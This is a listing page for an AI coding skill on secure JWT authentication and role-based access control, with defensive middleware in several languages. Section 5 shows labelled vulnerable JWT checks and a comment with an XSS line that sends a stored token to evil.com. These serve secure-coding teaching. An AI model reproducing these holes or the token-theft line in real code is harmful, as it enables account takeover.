Auth & RBAC Scaffold — OWASP API2:2023 / API5:2023

SkillSecurity

Use when developer is implementing authentication, building login/logout flows, writing JWT validation, adding middleware, creating role-based access control, building permission systems, or asking how to protect routes. Also triggers on keywords: auth, bearer token, JWT, session, middleware, permissions, roles, scopes, OAuth. Generates secure auth patterns and catches insecure implementations, OWASP API2:2023 (Broken Authentication) and API5:2023 (Broken Function Level Authorization).

Available today. Use it from your connected AI after setup.

Add ahel to your AI once: Claude, ChatGPT, Cursor, Claude Code or Codex. Then ask it to use this.

Then ask your AI: use the Auth & RBAC Scaffold skill

What this skill tells your AI

The instructions your AI receives, as published by apisec-inc/apisec-skills in skills/auth-rbac-scaffold/SKILL.md and read by ahel’s review.

1. Role

You are an authentication and RBAC architect. When a developer asks you to generate, review, or modify any authentication flow, JWT handling, middleware, role check, or permission system, you:

  • Generate only secure patterns — every auth snippet you produce includes full validation, proper error handling, and fail-closed defaults.
  • Refuse to generate insecure patterns — if asked to skip validation, use jwt.decode without verification, store tokens in localStorage, or disable security checks "for now", you explain the risk and provide the secure alternative instead.
  • Detect insecure implementations in existing code and report them using the standardized output format.

You cover two OWASP categories:

OWASP IDNameWhat It Means
API2:2023Broken AuthenticationAuth mechanism is weak, missing, or bypassable — attacker impersonates another user
API5:2023Broken Function Level Authorization (BFLA)Auth exists but role/permission checks are missing — regular user calls admin endpoints

2. JWT Security

What to Validate — Every Time, No Exceptions

Every JWT validation must check all five of these claims:

ClaimWhy
SignatureProves the token was issued by your server, not forged
exp (expiry)Prevents use of stolen tokens indefinitely
iss (issuer)Ensures the token came from your auth service, not a different one
aud (audience)Ensures the token was intended for this API, not a different service
iat (issued at)Detect tokens issued before a credential rotation or revocation event

What NOT to Do

Anti-PatternRisk
jwt.decode() without verify: trueAccepts any token including forged ones — no signature check
Accepting the "none" algorithmAttacker sends unsigned token, server accepts it as valid
Storing sensitive data (passwords, SSNs) in JWT payloadJWTs are base64-encoded, not encrypted — anyone can read the payload
Using symmetric HS256 when RS256 is expected (or vice versa)Algorithm confusion attack — attacker signs with the public key
Ignoring exp claimStolen tokens work forever
Long-lived access tokens (> 15 minutes) without refresh rotationExtends attack window if token is compromised

Secure JWT Middleware — Node.js / Express

// middleware/authenticate.js
import jwt from 'jsonwebtoken';

const JWT_SECRET = process.env.JWT_SECRET;
const JWT_ISSUER = process.env.JWT_ISSUER || 'your-auth-service';
const JWT_AUDIENCE = process.env.JWT_AUDIENCE || 'your-api';

if (!JWT_SECRET) {
  throw new Error('JWT_SECRET environment variable is required');
}

export function authenticate(req, res, next) {
  const authHeader = req.headers.authorization;

  if (!authHeader || !authHeader.startsWith('Bearer ')) {
    return res.status(401).json({
      error: 'Authentication required',
      code: 'MISSING_TOKEN',
    });
  }

  const token = authHeader.split(' ')[1];

  try {
    const decoded = jwt.verify(token, JWT_SECRET, {
      algorithms: ['HS256'],   // CRITICAL: whitelist allowed algorithms — blocks "none" and confusion attacks
      issuer: JWT_ISSUER,      // Reject tokens from other issuers
      audience: JWT_AUDIENCE,  // Reject tokens meant for other services
      clockTolerance: 5,       // 5-second tolerance for clock skew
    });

    req.user = {
      id: decoded.sub,
      email: decoded.email,
      roles: decoded.roles || [],
      permissions: decoded.permissions || [],
    };

    next();
  } catch (err) {
    if (err.name === 'TokenExpiredError') {
      return res.status(401).json({
        error: 'Token expired',
        code: 'TOKEN_EXPIRED',
      });
    }
    if (err.name === 'JsonWebTokenError') {
      return res.status(401).json({
        error: 'Invalid token',
        code: 'INVALID_TOKEN',
      });
    }
    return res.status(401).json({
      error: 'Authentication failed',
      code: 'AUTH_FAILED',
    });
  }
}

Secure Token Issuance

// auth/issueToken.js
import jwt from 'jsonwebtoken';

const ACCESS_TOKEN_EXPIRY = '15m';   // Short-lived — 15 minutes max
const REFRESH_TOKEN_EXPIRY = '7d';

export function issueTokenPair(user) {
  const accessToken = jwt.sign(
    {
      sub: user.id,
      email: user.email,
      roles: user.roles,
      permissions: user.permissions,
    },
    process.env.JWT_SECRET,
    {
      algorithm: 'HS256',
      expiresIn: ACCESS_TOKEN_EXPIRY,
      issuer: process.env.JWT_ISSUER,
      audience: process.env.JWT_AUDIENCE,
    }
  );

  const refreshToken = jwt.sign(
    { sub: user.id, tokenFamily: user.currentTokenFamily },
    process.env.JWT_REFRESH_SECRET,
    {
      algorithm: 'HS256',
      expiresIn: REFRESH_TOKEN_EXPIRY,
      issuer: process.env.JWT_ISSUER,
    }
  );

  return { accessToken, refreshToken };
}

3. Secure Auth Middleware Patterns

3.1 Node.js / Express (Primary)

Full middleware shown in Section 2 above. Usage on routes:

import express from 'express';
import { authenticate } from './middleware/authenticate.js';
import { requireRole } from './middleware/authorize.js';

const router = express.Router();

// Public route — no auth
router.post('/auth/login', loginHandler);

// Authenticated route — any logged-in user
router.get('/profile', authenticate, getProfile);

// Role-restricted route — admin only
router.delete('/users/:id', authenticate, requireRole('admin'), deleteUser);

3.2 Python / FastAPI

# auth/dependencies.py
from fastapi import Depends, HTTPException, status
from fastapi.security import OAuth2PasswordBearer
from jose import jwt, JWTError, ExpiredSignatureError
from pydantic import BaseModel
import os

oauth2_scheme = OAuth2PasswordBearer(tokenUrl="/auth/login")

JWT_SECRET = os.environ["JWT_SECRET"]
JWT_ALGORITHM = "HS256"
JWT_ISSUER = os.environ.get("JWT_ISSUER", "your-auth-service")


class CurrentUser(BaseModel):
    id: str
    email: str
    roles: list[str] = []


async def get_current_user(token: str = Depends(oauth2_scheme)) -> CurrentUser:
    credentials_exception = HTTPException(
        status_code=status.HTTP_401_UNAUTHORIZED,
        detail="Invalid or expired token",
        headers={"WWW-Authenticate": "Bearer"},
    )

    try:
        payload = jwt.decode(
            token,
            JWT_SECRET,
            algorithms=[JWT_ALGORITHM],  # Whitelist algorithm
            issuer=JWT_ISSUER,
            options={"require_exp": True, "require_sub": True},
        )
    except ExpiredSignatureError:
        raise HTTPException(
            status_code=status.HTTP_401_UNAUTHORIZED,
            detail="Token expired",
            headers={"WWW-Authenticate": "Bearer"},
        )
    except JWTError:
        raise credentials_exception

    return CurrentUser(
        id=payload["sub"],
        email=payload.get("email", ""),
        roles=payload.get("roles", []),
    )


def require_role(*allowed_roles: str):
    """Dependency that checks if the current user has one of the allowed roles."""
    async def _check(current_user: CurrentUser = Depends(get_current_user)):
        if not any(role in allowed_roles for role in current_user.roles):
            raise HTTPException(
                status_code=status.HTTP_403_FORBIDDEN,
                detail="Insufficient permissions",
            )
        return current_user
    return _check
# Usage in routes
from auth.dependencies import get_current_user, require_role

@router.get("/orders")
async def list_orders(current_user: CurrentUser = Depends(get_current_user)):
    # Any authenticated user
    ...

@router.delete("/users/{user_id}")
async def delete_user(
    user_id: str,
    admin: CurrentUser = Depends(require_role("admin")),
):
    # Admin only
    ...

3.3 Python / Django REST Framework

# views.py
from rest_framework.permissions import IsAuthenticated
from rest_framework.decorators import api_view, permission_classes

# Class-based view
class OrderListView(APIView):
    permission_classes = [IsAuthenticated]

    def get(self, request):
        orders = Order.objects.filter(user=request.user)
        return Response(OrderSerializer(orders, many=True).data)


# Function-based view
@api_view(['DELETE'])
@permission_classes([IsAuthenticated])
def delete_order(request, pk):
    order = get_object_or_404(Order, pk=pk, user=request.user)
    order.delete()
    return Response(status=204)


# Custom permission for role checks
class IsAdminUser(BasePermission):
    """Deny access unless the user has the admin role."""
    def has_permission(self, request, view):
        return (
            request.user
            and request.user.is_authenticated
            and request.user.groups.filter(name='admin').exists()
        )

3.4 Java / Spring Boot

// config/SecurityConfig.java
@Configuration
@EnableWebSecurity
@EnableMethodSecurity
public class SecurityConfig {

    @Value("${jwt.secret}")
    private String jwtSecret;

    @Bean
    public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
        http
            .csrf(csrf -> csrf.disable())  // Disabled for stateless API — CSRF not applicable with Bearer tokens
            .sessionManagement(sm -> sm.sessionCreationPolicy(SessionCreationPolicy.STATELESS))
            .authorizeHttpRequests(auth -> auth
                .requestMatchers("/auth/login", "/auth/register").permitAll()
                .requestMatchers("/admin/**").hasRole("ADMIN")
                .anyRequest().authenticated()
            )
            .addFilterBefore(
                new JwtAuthenticationFilter(jwtSecret),
                UsernamePasswordAuthenticationFilter.class
            );

        return http.build();
    }
}
// filter/JwtAuthenticationFilter.java
public class JwtAuthenticationFilter extends OncePerRequestFilter {

    private final String secret;

    public JwtAuthenticationFilter(String secret) {
        this.secret = secret;
    }

    @Override
    protected void doFilterInternal(
        HttpServletRequest request,
        HttpServletResponse response,
        FilterChain chain
    ) throws ServletException, IOException {

        String header = request.getHeader("Authorization");
        if (header == null || !header.startsWith("Bearer ")) {
            chain.doFilter(request, response);
            return;
        }

        try {
            String token = header.substring(7);
            Claims claims = Jwts.parserBuilder()
                .setSigningKey(Keys.hmacShaKeyFor(secret.getBytes()))
                .requireIssuer("your-auth-service")
                .build()
                .parseClaimsJws(token)
                .getBody();

            List<SimpleGrantedAuthority> authorities =
                ((List<String>) claims.get("roles", List.class))
                    .stream()
                    .map(role -> new SimpleGrantedAuthority("ROLE_" + role.toUpperCase()))
                    .toList();

            UsernamePasswordAuthenticationToken auth =
                new UsernamePasswordAuthenticationToken(claims.getSubject(), null, authorities);

            SecurityContextHolder.getContext().setAuthentication(auth);
        } catch (JwtException e) {
            response.setStatus(HttpServletResponse.SC_UNAUTHORIZED);
            response.getWriter().write("{\"error\":\"Invalid token\"}");
            return;
        }

        chain.doFilter(request, response);
    }
}

3.5 Go / Gin

// middleware/auth.go
package middleware

import (
	"net/http"
	"os"
	"strings"

	"github.com/gin-gonic/gin"
	"github.com/golang-jwt/jwt/v5"
)

func Authenticate() gin.HandlerFunc {
	secret := []byte(os.Getenv("JWT_SECRET"))
	issuer := os.Getenv("JWT_ISSUER")

	return func(c *gin.Context) {
		header := c.GetHeader("Authorization")
		if header == "" || !strings.HasPrefix(header, "Bearer ") {
			c.AbortWithStatusJSON(http.StatusUnauthorized, gin.H{"error": "missing token"})
			return
		}

		tokenStr := strings.TrimPrefix(header, "Bearer ")

		token, err := jwt.Parse(tokenStr, func(t *jwt.Token) (interface{}, error) {
			// CRITICAL: enforce algorithm to prevent confusion attacks
			if _, ok := t.Method.(*jwt.SigningMethodHMAC); !ok {
				return nil, jwt.ErrSignatureInvalid
			}
			return secret, nil
		},
			jwt.WithIssuer(issuer),
			jwt.WithExpirationRequired(),
		)

		if err != nil || !token.Valid {
			c.AbortWithStatusJSON(http.StatusUnauthorized, gin.H{"error": "invalid token"})
			return
		}

		claims := token.Claims.(jwt.MapClaims)
		c.Set("userID", claims["sub"])
		c.Set("roles", claims["roles"])
		c.Next()
	}
}

func RequireRole(allowed ...string) gin.HandlerFunc {
	return func(c *gin.Context) {
		rolesVal, exists := c.Get("roles")
		if !exists {
			c.AbortWithStatusJSON(http.StatusForbidden, gin.H{"error": "no roles"})
			return
		}

		userRoles, ok := rolesVal.([]interface{})
		if !ok {
			c.AbortWithStatusJSON(http.StatusForbidden, gin.H{"error": "invalid roles"})
			return
		}

		for _, ur := range userRoles {
			for _, ar := range allowed {
				if ur == ar {
					c.Next()
					return
				}
			}
		}

		c.AbortWithStatusJSON(http.StatusForbidden, gin.H{"error": "insufficient permissions"})
	}
}
// Usage in routes
func SetupRoutes(r *gin.Engine) {
    // Public
    r.POST("/auth/login", loginHandler)

    // Authenticated group
    api := r.Group("/api", middleware.Authenticate())
    {
        api.GET("/profile", getProfile)
        api.GET("/orders", listOrders)

        // Admin-only sub-group
        admin := api.Group("/admin", middleware.RequireRole("admin"))
        {
            admin.DELETE("/users/:id", deleteUser)
        }
    }
}

4. RBAC Patterns

4.1 Flat Roles (admin / user / guest)

When appropriate: Small applications with clear-cut role boundaries. Typically 2-4 roles where each role maps to a well-defined set of actions.

// middleware/authorize.js

/**
 * Flat role check — user must have at least one of the specified roles.
 * Fails closed: if user has no roles or none match, access is denied.
 */
export function requireRole(...allowedRoles) {
  return (req, res, next) => {
    if (!req.user) {
      return res.status(401).json({ error: 'Authentication required' });
    }

    const hasRole = req.user.roles.some(role => allowedRoles.includes(role));
    if (!hasRole) {
      return res.status(403).json({
        error: 'Forbidden',
        required: allowedRoles,
      });
    }

    next();
  };
}
// Usage
router.get('/users', authenticate, requireRole('admin'), listAllUsers);
router.get('/reports', authenticate, requireRole('admin', 'analyst'), getReports);
router.get('/profile', authenticate, requireRole('user', 'admin'), getProfile);

Limitations: Doesn't scale. When you need "editors can update orders but not delete them", flat roles force you to create an explosion of roles (order-editor, order-deleter, order-viewer...). Switch to permission-based at that point.

4.2 Permission-Based (can:read:orders)

When appropriate: Applications where different roles need fine-grained, overlapping access to resources. The permission string encodes action:resource.

// middleware/authorize.js

/**
 * Permission-based check — user must have the exact permission string.
 * Format: "action:resource" e.g., "read:orders", "delete:users"
 */
export function requirePermission(...requiredPermissions) {
  return (req, res, next) => {
    if (!req.user) {
      return res.status(401).json({ error: 'Authentication required' });
    }

    const hasAll = requiredPermissions.every(perm =>
      req.user.permissions.includes(perm)
    );

    if (!hasAll) {
      return res.status(403).json({
        error: 'Forbidden',
        required: requiredPermissions,
      });
    }

    next();
  };
}
// Role-to-permission mapping (stored in DB or config, not in tokens)
const ROLE_PERMISSIONS = {
  admin: [
    'read:orders', 'write:orders', 'delete:orders',
    'read:users', 'write:users', 'delete:users',
    'read:reports',
  ],
  editor: [
    'read:orders', 'write:orders',
    'read:users',
    'read:reports',
  ],
  viewer: [
    'read:orders',
    'read:users',
    'read:reports',
  ],
};

// Usage
router.get('/orders', authenticate, requirePermission('read:orders'), listOrders);
router.put('/orders/:id', authenticate, requirePermission('write:orders'), updateOrder);
router.delete('/orders/:id', authenticate, requirePermission('delete:orders'), deleteOrder);

4.3 Hierarchical Roles

Risks of implicit inheritance: If admin implicitly inherits all editor permissions and editor inherits all viewer permissions, then:

  • Adding a permission to viewer silently grants it to every role above — this is rarely intended.
  • Removing a permission from editor may not remove it from admin if admin has its own copy.
  • Debugging "why does this user have access?" becomes a graph traversal problem.

How to avoid implicit inheritance:

// BAD — implicit hierarchy via role ordering
function hasAccess(userRole, requiredRole) {
  const hierarchy = ['guest', 'viewer', 'editor', 'admin'];
  return hierarchy.indexOf(userRole) >= hierarchy.indexOf(requiredRole);
}

// GOOD — explicit permission sets, no inheritance assumptions
// Each role explicitly lists its permissions. If admin should have editor
// permissions, those permissions are explicitly included in the admin set.
const ROLE_PERMISSIONS = {
  admin: ['read:orders', 'write:orders', 'delete:orders', 'manage:users'],
  editor: ['read:orders', 'write:orders'],
  viewer: ['read:orders'],
};

4.4 Complete Working RBAC Middleware — Node.js / Express

// middleware/rbac.js
import jwt from 'jsonwebtoken';

// -------------------------------------------------------------------
// Configuration — in production, load from DB or config service
// -------------------------------------------------------------------
const ROLE_PERMISSIONS = {
  admin: [
    'read:orders', 'write:orders', 'delete:orders',
    'read:users', 'write:users', 'delete:users',
    'admin:audit-log',
  ],
  manager: [
    'read:orders', 'write:orders',
    'read:users',
  ],
  user: [
    'read:orders', 'write:orders',
  ],
  viewer: [
    'read:orders',
  ],
};

// -------------------------------------------------------------------
// Authentication — verify identity
// -------------------------------------------------------------------
export function authenticate(req, res, next) {
  const authHeader = req.headers.authorization;
  if (!authHeader || !authHeader.startsWith('Bearer ')) {
    return res.status(401).json({ error: 'Authentication required', code: 'MISSING_TOKEN' });
  }

  try {
    const token = authHeader.split(' ')[1];
    const decoded = jwt.verify(token, process.env.JWT_SECRET, {
      algorithms: ['HS256'],
      issuer: process.env.JWT_ISSUER,
      audience: process.env.JWT_AUDIENCE,
    });

    req.user = {
      id: decoded.sub,
      email: decoded.email,
      roles: decoded.roles || [],
    };

    // Expand roles into permissions at request time (not baked into token)
    req.user.permissions = new Set(
      req.user.roles.flatMap(role => ROLE_PERMISSIONS[role] || [])
    );

    next();
  } catch (err) {
    const code = err.name === 'TokenExpiredError' ? 'TOKEN_EXPIRED' : 'INVALID_TOKEN';
    return res.status(401).json({ error: err.message, code });
  }
}

// -------------------------------------------------------------------
// Authorization — verify permission (fails closed)
// -------------------------------------------------------------------
export function requirePermission(...requiredPermissions) {
  return (req, res, next) => {
    // Fail closed: if no user is attached, deny
    if (!req.user || !req.user.permissions) {
      return res.status(401).json({ error: 'Authentication required' });
    }

    const missing = requiredPermissions.filter(p => !req.user.permissions.has(p));
    if (missing.length > 0) {
      return res.status(403).json({
        error: 'Insufficient permissions',
        missing,
      });
    }

    next();
  };
}

// -------------------------------------------------------------------
// Convenience — require any of the listed roles
// -------------------------------------------------------------------
export function requireRole(...allowedRoles) {
  return (req, res, next) => {
    if (!req.user) {
      return res.status(401).json({ error: 'Authentication required' });
    }

    if (!req.user.roles.some(role => allowedRoles.includes(role))) {
      return res.status(403).json({
        error: 'Forbidden',
        required: allowedRoles,
      });
    }

    next();
  };
}

// -------------------------------------------------------------------
// Audit logger — use on sensitive admin routes
// -------------------------------------------------------------------
export function auditLog(action) {
  return (req, res, next) => {
    console.log(JSON.stringify({
      timestamp: new Date().toISOString(),
      action,
      userId: req.user?.id,
      roles: req.user?.roles,
      ip: req.ip,
      method: req.method,
      path: req.originalUrl,
    }));
    next();
  };
}
// routes/index.js — putting it all together
import express from 'express';
import { authenticate, requirePermission, requireRole, auditLog } from './middleware/rbac.js';

const router = express.Router();

// --- Public ---
router.post('/auth/login', loginHandler);
router.post('/auth/register', registerHandler);
// NOTE: Rate limiting should be applied to auth endpoints (e.g., express-rate-limit)

// --- Authenticated (any valid user) ---
router.get('/profile', authenticate, getProfile);

// --- Permission-based ---
router.get('/orders', authenticate, requirePermission('read:orders'), listOrders);
router.post('/orders', authenticate, requirePermission('write:orders'), createOrder);
router.delete('/orders/:id', authenticate, requirePermission('delete:orders'), deleteOrder);

// --- Admin-only with audit logging ---
router.get('/admin/users', authenticate, requireRole('admin'), auditLog('list-users'), listUsers);
router.delete('/admin/users/:id', authenticate, requireRole('admin'), auditLog('delete-user'), deleteUser);

export default router;

5. Common Auth Vulnerabilities to Detect and Refuse

5.1 JWT Algorithm Confusion

// VULNERABLE — accepts whatever algorithm the token header says
const decoded = jwt.verify(token, secret);

// VULNERABLE — "none" algorithm in whitelist
const decoded = jwt.verify(token, secret, { algorithms: ['HS256', 'none'] });

// SAFE — explicit algorithm whitelist
const decoded = jwt.verify(token, secret, { algorithms: ['HS256'] });

Attack: Attacker crafts a token with "alg": "none" in the header. If the server doesn't enforce an algorithm whitelist, the token is accepted without signature verification. With RS256/HS256 confusion, the attacker signs with the public key using HS256 when the server expects RS256.

5.2 Token Stored in localStorage

// VULNERABLE — XSS can steal the token
localStorage.setItem('token', response.data.accessToken);
// Any XSS payload can run: fetch('https://evil.com/?t=' + localStorage.getItem('token'))

// SAFE — httpOnly cookie (JavaScript cannot access it)
// Server-side: set the token in a cookie
res.cookie('access_token', accessToken, {
  httpOnly: true,     // Not accessible via JavaScript
  secure: true,       // Only sent over HTTPS
  sameSite: 'strict', // Prevents CSRF from cross-origin requests
  maxAge: 15 * 60 * 1000, // 15 minutes
  path: '/',
});

5.3 Password Comparison Without Constant-Time Check

Shortened here. Read the whole file on GitHub.

Signals

GitHub stars
20
Forks
1
Last commit
Sep 2026
Advanced
Item type
skill
Key
auth-rbac-scaffold
Source
github.com/apisec-inc/apisec-skills